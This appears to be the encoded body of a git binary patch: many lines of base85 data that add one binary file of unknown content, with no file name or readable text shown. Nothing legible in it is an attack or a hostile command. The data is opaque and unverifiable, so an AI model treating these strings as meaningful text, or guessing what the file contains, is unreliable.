z?U$mqRR2^KJ@YBbr~PtprG;9V^|ncbU5;(&d8hU zN-STzk?cf8lu|cVa?&&qdIf#C1Ta6tGnD@CFi{-fi<^tw`~mP^lu2%}qTeLfw!8)c zljLQ68XIBBf;Z9p6Yme%-?qb zYM%M)3yt|}L~AjBFSXLV%!G=QmZXY;PgDoz)rc)?9 zX%EwAXtD-rPr{r`c*r$=rEV5@!P}z}<;#d7J!5SZme(?rY=e%5#M|NAQM9O3@Y*@Z z;Pq87!Mtky(E=;zRlr!6iN1}PeXW>J3CA1s349C(F3|*wH*OMlxKy0hX%9MA3J;r$4bQ{ zkq)aiFh#ROiWS}o%7Y#Z zSob$H=2SjAfsv-F*Ps&`DFtWxNb$gz-lKriF~)gYJ&!XZKF-5`H^ymxpN7UU0jS1s zzd0Yn-5N(-p}zY!3?XSgPYWV3pYrm*kbvpw!DtKv2X>oI=7r8yA}6pu$!p5+BM)sB zfP&vNoorl7hg;WKxxr_6_Nrb6L76n*C?2-a#9tkyAcYkCez1hdzU!!GVASFla^mCW z`3w0I1GOtUd1_4o@fqF9( zVd?jn&FBN9BQ1ND%;w+qiNRCh3_Qyv8m1~7DBw52mlQ=*CHlZJfKGoA{7nwd^>M3z zB)VN1FWoG*q<#L1n&?xYk>3`5U^T9eX!Lo$gjeBW3`@&{+-@c^(U*1PHpYr>;Y)Ze zE(Y=sgnTuSu@JpG6!)7~QU9$#QKHe6xZt5_9S?6Osyoir^+TY<$9Dsdj~0q<#s{HV z5@TfTam8xr=Ze&SLOld2>}gn3OaBSifye*l#kxeWQ!9gZB3U`=J}@id6>YJuS7G%m zI*EPHMR1?d@p7|?iCVvuWbe|!`DH@nb>9d{m}{~8ZEGZ$c8L2^NkPgWZC zsjJlxplDBEz2_K`O`D!^Q6iEzoMl}+kOI3R;i4l@jv$R+0%=kpEza*zNMxl`F$dNY z#x}`{B^lcb9GkmEy2YaQ{tIDmvC(q8mq<|X_7XX0SF956R386xXQyy4u;cTg4tjD1 z1el=uHikhq{yWssu~)K%`>#&y1t$QmyMdYD3`a+-mj%a!J1ik2fWOM$BdC-S75q*H z#;!h(E-7-vYdOXS<|eRMrUz!&<<7np*$SL~46UUE&_HC4lDR4dy^cqOUBF3Rf(DU| zJPyh*WQMOqKaYa5j$f<)M0adI;{BkvIT)cs`rqPVA03;^-#N_{*;=l^f82R6okE9b z(dt{04jP=m$YG+(Fht7NE&ny}@OZ#@H~ecTav~OMX+$kOJ;PgH*uv1`Ris`V^yGTK z`Vg}EIB-A{LQ$ap_+Nid-u$e;+R8mWP7f!d*HF{jzk%e?u=x$RXh$>$CtPu~`%WP6 z&^M%lNk;@n2e1eaq=K47gGb7_Nl8Jth5#zEYn$|Acvo*uIz9q2;a%2cWtOh(ZD`Lc zn!4{#U=~Nau+Jdon-ohsCkm_XR8p{+0mU433vl=(`(`jg@1x`R0=>WUD$g^Xsj2rr zK{HMd2$$im<4iGcd}b5p7XZ?4&qoXWb`EZ_#=H-G%DXJ|W;AV54eLZ%Xa{1bso|4Z z@;woHDi9mc4#$f3&^@Vl;s@Jp*Lut^gPgU>G@;FG=zsnjKbUxTA$v*^fE0$I?59XCrEWj(>Ey;f=&^ zK%L8t)ir1bOPfn2yqlhT7ny?nkC-A5E5;dOIt++IXo#+t_>~9(6>MTVtcU}mCcV&pw|-VA(uyJA&%S!iK8d13LRo?>0Q2K@_4@CrBrMILzT;?*1+ zh(+hY$Ke<|P5CZs!>T#X6sm+v`vpifR?w78U2Wm11~h z!2Vr)f}R3~9W&IJCf`%fQbsF5ln$ezmqA0~=&A#V(P?Aw3t`1%q<=!ngn!SQ`Ns^r4CSGjEQUU3BESIXMSwu} zNnBjA1Ha~iqm0yc5$1`;BSIGRGamiWV`hFc@qN@H?WXGxYR95h-3ll<=u>|{zpLOY z>F_Y*me!F)PX5CAVBUovT;nkmEyl$jot}r*cX7pld-;;~5Z4cQ1ear*n!we*W1EU` z*?nx24J+D-W1Fn@a@-s~wkh2{1r&KS{xF7ls?tF>}%xuq_-+hz-~W zO;$Vuf2CMqsiF$8TJ9%#FX|uZyk$C9)qb&KdwpfG0JIFejjDrPt3-B0d3}D z1BTN5P;q}2-P^?d<#az#-1npVbaDUnWw`$Vtf1{ax<4%LU!wa@#QjRT-zV$HQ;obH#X&V6YApps;T98T}rHKL*20wfAuixvra#VOO;rL`NKz6(s zu?%!uI+tFm{RKBVA9k#K1UH<#9Q!3o^jlI7W>au}dYJuM!ns33ZwBp-bzt*nB-zV5 zd7PDWf4;b%ME4ouzLoA%#Qg%gKPI%WobJC6_pAYl-_aDS!-7X?1ovh?3XaI(KbXA| zcO`&4!Pn;O6}aklG^z~pP&fZhGPi?a61ZxcKr4`@pq zNJSi$d=m9vza@g)cqJNh=%>Dofl{oOr9S$IxXV%R#~r;q9ofI0I#dIY8XdglrvF3( z?R)eqLSSts#G*gN3j7{+n_gR!h#d|ZGPL|PCsAB+kekJ?UF97UiXj? z`LyhDbd9uCv=}>}C8hcAW8HAV){&-0aPk#ivD~L-gBt~l4T&&#ZdJH3PYPL;Xd|*4 z$5d*Mb$bL>SW4fkSDZc39G07UI^`7_9fRQ*cay$p-2u`x_;~l z`#|hN=;z$S2MfCF1CcjYFMv?^eA@X?VK7ALxZZ$qI__K!B3{zLmbp0x|z=^=F|G@<2VcmE^tI|Yk1&m6k^%{8Tc$V<+e24lR zW5O#=;Qfj4eo65F_{{1f^BX>NZQ`h&rirGF!z3D3lT zZTvS+?Sn4S>=3>?@qJ%@q09y?!|gGA_vqZf2VRM%&qRAJXrty66K6-{E332cr+&~8 zdG>2~mGxa9>=bSK1N1sTZzMog!b0&7z*+)4Fu|*tPiilC1^Uja@X3OO3cSO&Sb4E* zBQ(SY(1?$|kt;sH_YLB+4f-O_P~{mr&>9f_jc58S;(Dg?yoT&h|$w%S}0sF>G;T0^dH`$;3rf>GD$yV+Jw1-0uhKWhH$dY^i*^H^j_bTZuE-`_cc9!C z=?SFmny!a7?8A2l(M27;H@z=r7SK0ILwIgU#kQcdN6a_w+HeP+)I}%Z%_Ccle8h2e z?Soj1DDek>0$+gnm<^E|q1#PR0Wo#j5y;z!@1p(m%#*(0M~i+{!Sg*HVp20P2im`Y zE;tiB;IGg^Xr6{F4)sU+D$mHxL?nj+S|Nn^^SO8BH%ibqMna}2dVwiw zjVAhL`;|9EX5ELVpv#1bQ(wBG{7=3h5icb&j{ zcX|S^C4o1N@IHX3V9INNf>-MF8HZ61xF}BVO2Ydm@YcZ}QNIxry;leUcn1EoP!=k!*{#p!1=iV2p zBUrHPp=`K5qnbHzp>dPpLr#dXEClIT}?}c>~;rwcg&yI%69R6z-iT zG)|K{PXbLjO@l&RhUhjV8!#kW?GM!4j(Ks{N(;P!V2uYidK;;-CgAl1VfnD^N?4rK zXNs3p7IO|u6jJjxfV~RmIQ9o@wqRD28ft``9p0e3rq)L4YE*$5i_vCtQQzQ)1mDMI zo8tD79~@j|%f%lZ7MCLNZ43Eof(=*Ki8`9NMCF%=y>%hdfA})VRv+*}IRfw& z=wYfq4Ue zHy4gG5X80C@0*W{&t2!u_4{fU;l8F)+$FguofJ*vf#rX&;m;p!(%=T0&354K=TKbs zvJGx(ApFWme5c~uj1BBj_?T750G~i|FbiK5{^s7_cm1wKxe;mfr|^9h--Gz}$Fql8 zT*>qG>BF+O!F1-=_@KF1%>w>9lJGDaIg!!SGvNtUu+{jgu%vcX$G(z%T=|WzX;Vw2 zDJ3pEADv#pjqu0mgFe+%@|+H}g&Mpz0~KA`4D4Z8li|FiP`zXrBSueJPTENJFmrI_ ztRh}Ag+CHyQhZESydX)2k%&=|h8KZSS-{^|Q&$sQgaVoXl7rQF$ml-O1lNuBsnQsP z0X0EyUBg%jaA|M|mk{Cs;ZhrTX`n&Zxr4*lfwLY-gR7)I!-fqb%`|)y8Hm2H47Evp zCU|K*uYw7O0$yoacY#WcE}{AW!izv~k=|PPel9=`$l= zlyG=eDdkD|*v3I5&^3f-^S!~O4&8{?bgH;?S*E3Uw?x`j>GwAHt_a$^SYCodZHxRN zn-5_Zk!`5=dTOc`VOks5YuOT1@c>7^u3|xb}wsmoc7=bbG^3vtsqr>IQ@Z&et@K|%*vtQ4ebUhy3%J+a;Kkf}5h>fCVm8Sif(M1H zh1te6(?h{DygEl2Hp#8K1)C(i0?h*ENrF!>ZsRlvAT6wR2d{ua;KGIgyZ0`j=?i%0 zLxsFplwi=11lA`^b^|!`u;=$uOjZePVRW#-n+|qSUH2Ub6tN45hj3WoCYMc{I;X-p ze9rWeDdo-^C&R@JLqMRfRHKPmUYkZswP1ll7mEEPovdC2_p~0{j3O4&25$f*_~!|6 zTM`?TnuhvX_o88vEzSkcdOU&|COGITReNjUa2sGgdcete?ggMn>seo^aiM!rEet1D zf|cf0={uSRsR5<>U?2`*0L8J0kP|>^BjzQy&Rx$qNkv@-Tt%zCbX&+9Sd_~lloa$r z8Z#40Fv~VZUnglr9V;R1z8%g*aSl~eZ+2kLjq%F z92a^u%a9Xeae=*WqDXF7loqAknt}MbqxAB zVxR?Dd}g=H6SwAS{6vxUt;n4E#^}$7=4Wrjd{j{l8{mCLZW0;R09%D_FPH z0jC}r7GC};c|Vd^EV`JaZA?6G0JB2a&c=nj0xZuY4nPf8f?YdG6y(96>63&9yVLVC zw*0ZSnK0ydc{s{sQ?t5hH*-uQG@{bm2;v9<_^vxVBNkn31fpd69KPEYFSdyYUfjil zcu~~j_*r1dJTSI#!4C~==9mU78sq)Y>YU1|+TiH?A!DhDFi#T<<7WH``bJ~1oxRso zf2r8jh}K5!5TX(A215Z~nb__yRROs{Urok#8874zcNdU8N3yn@f}ytjYlhlJ3?CvU zfjGuojJ27@A%@qrJ>zsm)x`h`dTdFaY%zPc#aI}?aXf@9Se$>&;t|8)T}>>VMlyfc zHN!?o#*n410*SjdG3Gh6c3{;O88AugHL)GD>AOyB!)&zghyKsOMZ&&HcOB%lIF|3L z18KJ{wwHvYZ)9ohO%w-nhL6g$NC0`*@T#lnk3ix8;WVgN_>d={cBJpLsnLrB8eAiq z^pz$C-1B(H0N==dgPf{^(g?;LLqseTMoJFO5RDhHzEr}QB$pR^TWNyd6KZh!#Pvoj zT1t&K;0}1I7a7=P`ub5q0gyDsy%4HXMj@DfkBk+EWvCg)DUo=kD4Oa;)`!~h4t^Yh zDPO!at-caoEnY0a1eDYEyBwp#3O!RdAY&6fD-IE6f+xK*#lD<;54QgafLP;A01*Tb zg3r6q*saghQv+Qq1#p(w{*YtjKBO@rI16Nqy_K}+b4tN*)RN#L9YxQc8BjQYxz@J_d z2!`U-P9L%@HU5B(4ZK>6&wX0CYb)Ke7#s*cGX)B-L+m~e;xka4*??u-)_`ct>x1B{ zNbhDzB4nx5gS1LS?3FcDH5icyt)!CaC6lL$jTu`YWs}Gb5YsjIeXs@H4npF&V6=Jgv^yAE6-<1Nv5! zx-jTK%kUmD3wXN3gxfS+1__9VM2%+Wr{X7a@2xSBTSPN4jm6#j3= zC&JLj_jPtI-qYDR2G=}%v+>Qsw?DoTzDM6d&J5rG;JX{&E%>g*_bGf=;`<=J%kW){ zZ#}-1_!7+uTwVAU6-j)1M3iGiuaUA zc<~-rM~ny36G)I`cY;8}P%=PHXa&4zfQ1OPacuMW`0=LB8*gN6SncUSXq|fzOBcx~ zeGkFuKpg7$06M-O`CxqMeh|KNHNO4Z6ZZz}v@38H>v&Hk;r}P8d|F%TA2@NmBz%Kz zckK)q@oex(V=>@#rE$?o4_#-Q^ebO17xcRB2_&`fvk}ta+d4ZBa#B=+cH1zub{0Xjkc=E5}YFz=pfD`L^$mhR|Yb<ah32^ z#LC{FkJsY*BT=^UY0$-WHNDJd!7j$qp zt_8T3y^MNX+i+ct>)}^AJ3qnIx*q)D+Oz?Fq#ydnwF1|bxYpuY--iBhZNrb-l|e2m zH{tmMuEkpc$F*!5o-5#L-H!fnT1nagJY3s$;aLQ(d9Q*`g2VT$Ci&v}1FlW)K@Kwb z!~D15O8*~PIv-)dvksus$8!4=$=}9CGrWB>a_kv4Q~_mNM!KV4%DVuKH-RSfn+?c> zE)bAx#kURLPoQs~>V4cteJrOwVyWXYa_*%*?mokwQ4sF!$SCX8%hETa03dV^lz5*d z)Iq_7)8OO#xx0lcJ;HHRN}38@iht4B`Harfy(#vLth;+*kl|EE#@v)ieKTx;*m<~< z`XR9|Ny~uy>SEY8?15y}wN2h>ZD?Vk|2j~CEzQu|bU${77<+NA@hRPoeO$kkASy~T z@+Nc@inCuzS$D#c6!cvHdmak=-9fqme(y_h#N|FIF8A@&_hiVu56S&>`MUbK(7YM6 zR>KF-fBup@_7s2LgrsWY_x64%n3=5c8P>9lbXUI;14klyZ-U;+WjN~-=dC-P(B)E} z@@=#a#%hZ*qsh`MNE&v!Wsk$Oj0AZV zebi#zn2mdrjzMnW)H;ZMVusa`k?!nQ#?ymapsm8!hIQsaw5ucl>p9D!gm^3=Jx}mB zDWlEOYen~LOz79^cb1GD7FWh@u)Po8c6?Q^f7mja+FjZUwa#v8r=d3GHdIbTWi_tj z3E;zx1ArMiKq7g*`v0_dy|Iy1Rs1>AEj42vjS|E!W&))2!!nuOWrv1nG9A0q&bDsL zveY$T+V1w>F6{1D+olVsC0)t}yUQArS`!FsOqv=|s@A$7QB0sgh@pJhRK?gRG+;n0 z2@Pb0;dk!&otZbUT|?przRXQ#e)pVv&%O7ZckVss-Ffc~#(MBk#IE84FFRH@C*4@n zTaUFl79EkX%4pg#)@F>giDS*7bDjU_Lw*-`&n%Ssa_g?sOKIKR>z|L@gOjs)`Zva$ zk2r<4((u{xpLjCvGqQ$H$$B}7^|F3qTeF{x9EMH9Ct&8G24>8j*ieX*b#@OgQLF=} zd<~j>745I1{cDl;uuQf2@mu8ti_Sd62~~Jr@t=}M%V#54OX#D}H+@v(D}F<(pWdey zhJJ$%D;K*1oS=8g#lBX~P#<|W`Z|ri+ROWbElpLmN?)+0iE4Dx;-?RoF$a5sTpphV zv~v#aOcduQ#vJr{&L%lO^U=mn_+xu9MZW5fHTwCcEvE_AdMrj;oT5FLKcd5W=<9Jj zkNq7PJKB$6+QU`57@-MeaXkMWE|aRV9?RT0hw_s^wad_WOSaMsTZw*J7LLu<(u$$D zxMTtCJcD=190RTE@qS&8#;^Q{W{7 zJn3@=yzSuqUMiL5M044kI0w7K3RblD#u!W%4A{6Hl#c&Zv^9^m;u=xP?#AIAa#JdYeaSeUBn8Vp#Q5W}a*%aozoS*y9*5I!Y<03EPDvx>6 z;`-&-G){scij2hHS1lF_GqnA3nU3f^7<@@+Z%kw)Rv*8BYZD%SxlCFtza#>`Uk{mU zU~G3jSt$G(c`xYmlaYh!!r}8#SA2`a{_+mVH>K{T<48uPLhVbn27K;=+}u-$;dv}) zBCSRHg!Q;}FS;F*p&l-=c#?CmCdkTl#dchW+*Ld#*!E;Jr!i)Jz#r?ul+VCpX5cY% zem?S};3#Cso;+jZ!4MDNI%Y{27&~Lgz2e`R#WpYx>4V`jBGF4*8wY$w3?2*t$}%R$ zO61G_YGe@gBQJp24(2{E_mLTWPpbBU+XQX~+#Kj5pfjY~AgXg+hFE?rgQAHmCab5m zovAt-eOOc{b7(t0{~f?}6i|}b>MJ<5mOm5<3&Oy$acy_&ZRz?W@=cvZm=mZ2&(a#p zm4`-oh}Yvf>}j;+{;u2UsjYksaBG;0RYckC{#ZNopN0Ojj94;=SfuE{mQw=J;EX@k z1ex32GTnwgA3>irFXHy|a(}+{wGBd`ZL)4|p13ZO6`Ofe+IzWBaKCW5V}Q+^jfP^G z7Kz!L{q#}uK*0+or|X+=4H`!~VtSQS(LhB56%AB0P|-j|0~HNaG*Hn%MFSNLR5Vc0 zKt%)pzXsN2qX=o9XxH3ftRchrUzGhhB%^;5qTeNrEfP(#QHF#q0+)IpQ~Vt1xwkZf z*CD!8L&Q6UU7BaP{AMi4%HR2*aKh2-4?j`3R4@BYNV2sdsfFd(s&nZER%A7|2Q3A* zFRQgYk7C$>Q;zHhNm^mUS1Bpm{4U|mb1u#Bz>I$o?*)=%<4!Y!ty7n5U+GdokH@Nh zK>A(TghDEiHodQt?qKk}5jTj{awCoOPpl)Rh*@GMv7b0foFq;YXNil%CE`Wm8gYYIEgRR; zKe3LOB4&x5MEL_+Nu$I`;xuuVxJcC6*x!F!bC?(ZGg*DZ!JlgGEn>Gm=HQKz9{;(P zpZ|j5gXGVVf6o2LhCS3!J0AY3P|{DxUuOOJTa^D4`8B^#I=)|ViTot_%N@%9)%%XCx52+y!AV-^k>PB6Y~?w&-_?1LH_tD zrFW6Og_wRo`E8_cCw4!i`~lJ<#Q7QJPm%sUF?m?|PmqrPQt8@bicgc@O}=+r`7eg} zt9L8^Pvn1zSbJ3YuaW)_arrLgZ+k-VG~4euuC!0SwX>R6{?#FV{_D!W+;?hs-_D&o zQVsp7T{rJU>hC?=(6ckO3-1Ei-O#sVM{ob`-FSSex9`x%fV6S{$tzy)65klav(Ll0 zPd(vYQjzx(c)GPOF>rh&acBfL6XSVyvKlkF8;5%aJXeMns|bL_}rbbn%4TE^g9JBRSlgN(e(9Y1c5=UKU&Ha|LF{J!{5 z^XGHS7+RcREt|M2k-Q$E86E#5P< z_)z2}CJf7e3p~+@jL#*;E$&BXFf5K_sT-^11@V7tW%6;#8@hWc0|K?o8=eZuKSRH2 zXydgej5a(Il3%90;di;Nn!NRE^!GyYc0FKdak148+y4(JZ|BcD&zi*K=SdUd<)rsR z(4v2nPySXb7|OlK!4&RamieIk%I~zc;g}zkE}ehlK8cJ};k5Pa`e*L1TEp~g^^G=s z4h2^R)+z_3zUyjF=n6Eubs!!kd@;%`IUczKw9~mV!cA~+vE-Z zjFO80Sljn3O7KiO8IQC*CWbS1D?+2O4hx_^vitj^( literal 0 HcmV?d00001